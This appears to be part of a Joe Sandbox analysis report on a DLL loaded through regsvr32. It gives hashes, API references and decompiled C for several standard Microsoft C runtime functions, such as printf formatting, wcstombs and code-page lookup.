Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: 4684e22f791ce69839f562b923e995fff9986fe21dc9389a852d4c7307e36990
Instruction ID: 7a8513096c3cb2bd444751f94b1f2e61cedcdb1a9580f93edff9428065c01d53
Opcode Fuzzy Hash: 4684e22f791ce69839f562b923e995fff9986fe21dc9389a852d4c7307e36990
Instruction Fuzzy Hash: 0C415B72A0DAC28AE7F0DB24E8947BEB7E4E384745F600126D6DD869A9DB3DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD95 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD95(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t113;
				char* _t133;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t133 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t113 + _t133 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DDAA

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: d152d77759d1a8b77c8e40c3a5b6b9e992a9212ee747c51bfdc081fcc3156ca6
Instruction ID: 14f8518244b6aa56c92c2133ed4feb23c5223715f37474fc6187c6031a63ef29
Opcode Fuzzy Hash: d152d77759d1a8b77c8e40c3a5b6b9e992a9212ee747c51bfdc081fcc3156ca6
Instruction Fuzzy Hash: 94414DB2A0C6C28AE7F09B64E8407BEB2E4F384746F600125D6C9875E8DB3DD444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26C32 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Strings

(*_errno()), xrefs: 000007FEF9D26DF9
_printMemBlockData, xrefs: 000007FEF9D26DED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1
%.2X , xrefs: 000007FEF9D26DAD

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_oneof_swprintf_p
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2731067127-3604075083
Opcode ID: fe7d44c8fd9bf19f096a73d3f0335bde0191fec95794c4c7e73345e4b193bd8e
Instruction ID: d4871e39cfd66166000c08c845a9e51e3e7b3f71581565f00727d2aef18c331a
Opcode Fuzzy Hash: fe7d44c8fd9bf19f096a73d3f0335bde0191fec95794c4c7e73345e4b193bd8e
Instruction Fuzzy Hash: C8415972A0D7C186E7A49B55E8903AEBBA0F784740FA14126E6CD47BA9DB3ED404CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34F20 Relevance: 9.1, APIs: 6, Instructions: 123
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D34F20(long long __rax, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24, signed int _a32) {
				void* _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				void* _v56;
				signed int _v72;
				long long _v80;
				signed int _v88;
				void* _t88;
				void* _t89;
				void* _t90;
				void* _t92;
				void* _t93;
				void* _t101;
				long long _t113;
				intOrPtr _t116;
				void* _t117;
				long long _t118;
				long long _t121;
				long long _t122;
				long long _t125;
				void* _t164;

				_t113 = __rax;
				_a32 = r9d;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v88 = E000007FE7FEF9D33B70(_a8, _a16, _a24);
				E000007FE7FEF9D2E680(_t79, _t113);
				_v80 = _t113;
				0xf9d24000();
				_v56 = _t113 + 0x100;
				 *_v56 =  *_v56 + 1;
				if (_v88 == 0xffffffff) goto 0xf9d35103;
				if (_v88 - _a32 <= 0) goto 0xf9d35103;
				if (_v88 - 0xffffffff <= 0) goto 0xf9d34fb9;
				_t116 = _a24;
				if (_v88 -  *((intOrPtr*)(_t116 + 4)) >= 0) goto 0xf9d34fb9;
				goto 0xf9d34fbe;
				E000007FE7FEF9D2E680(E000007FE7FEF9D2CF80(_t116), _t116);
				_t117 = _t116 +  *((intOrPtr*)(_a24 + 8));
				_v72 =  *((intOrPtr*)(_t117 + _v88 * 8));
				_t88 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t117 + _v88 * 8)), _t117);
				_t118 = _t117 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t118 + 4 + _v88 * 8)) == 0) goto 0xf9d35038;
				_t89 = E000007FE7FEF9D2E680(_t88, _t118);
				_v48 = _t118;
				_t90 = E000007FE7FEF9D2E680(_t89, _t118);
				_t121 = _v48 +  *((intOrPtr*)(_t118 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v40 = _t121;
				goto 0xf9d35041;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d350f4;
				r9d = _v72;
				_t92 = E000007FE7FEF9D2E680(E000007FE7FEF9D33BD0(_t90, _a8, _a16, _a24), _t121);
				_t122 = _t121 +  *((intOrPtr*)(_a24 + 8));
				if ( *((intOrPtr*)(_t122 + 4 + _v88 * 8)) == 0) goto 0xf9d350c9;
				_t93 = E000007FE7FEF9D2E680(_t92, _t122);
				_v32 = _t122;
				E000007FE7FEF9D2E680(_t93, _t122);
				_t125 = _v32 +  *((intOrPtr*)(_t122 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v24 = _t125;
				goto 0xf9d350d2;
				_v24 = 0;
				r8d = 0x103;
				E000007FE7FEF9D2E6C0(E000007FE7FEF9D3D7E0(_v24, _a8, _t164), _t125, _v80);
				goto 0xf9d350f6;
				_v88 = _v72;
				goto 0xf9d34f83;
				0xf9d24000();
				if ( *((intOrPtr*)(_t125 + 0x100)) <= 0) goto 0xf9d35131;
				0xf9d24000();
				_v16 = _t125 + 0x100;
				 *_v16 =  *_v16 - 1;
				if (_v88 == 0xffffffff) goto 0xf9d3514a;
				if (_v88 - _a32 <= 0) goto 0xf9d3514a;
				_t101 = E000007FE7FEF9D2CF80(_v16);
				r9d = _v88;
				return E000007FE7FEF9D33BD0(_t101, _a8, _a16, _a24);
			}

0x7fef9d34f20
0x7fef9d34f20
0x7fef9d34f25
0x7fef9d34f2a
0x7fef9d34f2f
0x7fef9d34f55
0x7fef9d34f59
0x7fef9d34f5e
0x7fef9d34f63
0x7fef9d34f6e
0x7fef9d34f81
0x7fef9d34f88
0x7fef9d34f99
0x7fef9d34fa4
0x7fef9d34fa6
0x7fef9d34fb5
0x7fef9d34fb7
0x7fef9d34fbe
0x7fef9d34fcf
0x7fef9d34fda
0x7fef9d34fde
0x7fef9d34fef
0x7fef9d34ffc
0x7fef9d34ffe
0x7fef9d35003
0x7fef9d35008
0x7fef9d3502e
0x7fef9d35031
0x7fef9d35036
0x7fef9d35038
0x7fef9d35047
0x7fef9d3504d
0x7fef9d3506f
0x7fef9d35080
0x7fef9d3508d
0x7fef9d3508f
0x7fef9d35094
0x7fef9d35099
0x7fef9d350bf
0x7fef9d350c2
0x7fef9d350c7
0x7fef9d350c9
0x7fef9d350d2
0x7fef9d350ef
0x7fef9d350f4
0x7fef9d350fa
0x7fef9d350fe
0x7fef9d35103
0x7fef9d3510f
0x7fef9d35111
0x7fef9d3511c
0x7fef9d3512f
0x7fef9d35136
0x7fef9d35143
0x7fef9d35145
0x7fef9d3514a
0x7fef9d35170

APIs

__GetCurrentState.LIBCMTD ref: 000007FEF9D34F50

Part of subcall function 000007FEF9D33B70: __StateFromControlPc.LIBCMTD ref: 000007FEF9D33BA4

_inconsistency.LIBCMTD ref: 000007FEF9D34FB9
__SetState.LIBCMTD ref: 000007FEF9D3506A
_SetImageBase.LIBCMTD ref: 000007FEF9D350EF
_inconsistency.LIBCMTD ref: 000007FEF9D35145
__SetState.LIBCMTD ref: 000007FEF9D35167

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: State$_inconsistency$BaseControlCurrentFromImage
String ID:
API String ID: 2452617236-0
Opcode ID: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction ID: 79c6626e7a9320abdad6ed0e53fbdedc274fcc22452831ee93149e628ab3cd95
Opcode Fuzzy Hash: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction Fuzzy Hash: EC61F132A0DA8586DAB0DB55E45177EB3A0F7C4789F214625E6CD83B6ACB3ED441CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29F20 Relevance: 9.0, APIs: 6, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D29F20(intOrPtr __ecx, intOrPtr* __rax, intOrPtr _a8) {
				long long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				char _v64;
				long long _v72;
				intOrPtr _t29;
				intOrPtr* _t41;

				_t41 = __rax;
				_a8 = __ecx;
				_v16 = 0xfffffffe;
				_v72 = 0;
				0xf9d266b0();
				 *0xf9d4cd68 = 0;
				if (_a8 != 0xfffffffe) goto 0xf9d29f81;
				 *0xf9d4cd68 = 1;
				_v32 = GetOEMCP();
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffd) goto 0xf9d29fae;
				 *0xf9d4cd68 = 1;
				_v28 = GetACP();
				E000007FE7FEF9D26800( &_v64);
				_t29 = _v28;
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffc) goto 0xf9d29fe3;
				 *0xf9d4cd68 = 1;
				E000007FE7FEF9D26840(_t29,  &_v64);
				_v24 =  *((intOrPtr*)( *_t41 + 4));
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29ff9;
				_v20 = _a8;
				E000007FE7FEF9D26800( &_v64);
				return _v20;
			}

0x7fef9d29f20
0x7fef9d29f20
0x7fef9d29f28
0x7fef9d29f31
0x7fef9d29f44
0x7fef9d29f4a
0x7fef9d29f59
0x7fef9d29f5b
0x7fef9d29f6b
0x7fef9d29f74
0x7fef9d29f7f
0x7fef9d29f86
0x7fef9d29f88
0x7fef9d29f98
0x7fef9d29fa1
0x7fef9d29fa6
0x7fef9d29fac
0x7fef9d29fb3
0x7fef9d29fb5
0x7fef9d29fc4
0x7fef9d29fcf
0x7fef9d29fd8
0x7fef9d29fe1
0x7fef9d29fe7
0x7fef9d29ff0
0x7fef9d29ffd

APIs

GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74
GetACP.KERNEL32 ref: 000007FEF9D29F92
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29FA1

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction ID: 704f50b174c78f8dad9e9ad97ccd9f8c7b4629f2dc49822da5bcfb1c8acb2663
Opcode Fuzzy Hash: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction Fuzzy Hash: 2E21A732D0C64186E7A09B28E84436EBBA0E784768F614226E3DD426F9DB7ED545CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3809F Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3829E

Strings

sizeInBytes > retsize, xrefs: 000007FEF9D3823A, 000007FEF9D38297
P, xrefs: 000007FEF9D382B7
_wcstombs_s_l, xrefs: 000007FEF9D38290
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3824F, 000007FEF9D38289

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2123368286-552404435
Opcode ID: f12e70934a7f8eca6376172156a370be3a7c923ed3c4affde7108b6e7297d87f
Instruction ID: a80555c9662aee50eaf55af6b2d7c09464ca7ea00ccabcf41043a4b878837ec0
Opcode Fuzzy Hash: f12e70934a7f8eca6376172156a370be3a7c923ed3c4affde7108b6e7297d87f
Instruction Fuzzy Hash: 4B511726A0DBC586E6B48B19E84476EB3E0F386361F204625D6ED43BE8DF7ED4458B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCBD Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3BCBD(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t204 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t205 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t184 + _t205 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bcbd
0x7fef9d3bcc9
0x7fef9d3bcd1
0x7fef9d3bcd9
0x7fef9d3bcdd
0x7fef9d3bce5
0x7fef9d3bced
0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 838c9af7f6c21a6938ef5e99847a712facd56587850898e9071408f632ec2777
Instruction ID: 366f55b25be61a8d80973343189ccb34eb8cf05d0f6555861afeb0151a731927
Opcode Fuzzy Hash: 838c9af7f6c21a6938ef5e99847a712facd56587850898e9071408f632ec2777
Instruction Fuzzy Hash: 1A414C72A0D6C28AE3B0DB24E8547BEB7E4F384345F600126E6D887AA9DB7DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC6B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC6B(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t204 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t205 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t184 + _t205 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
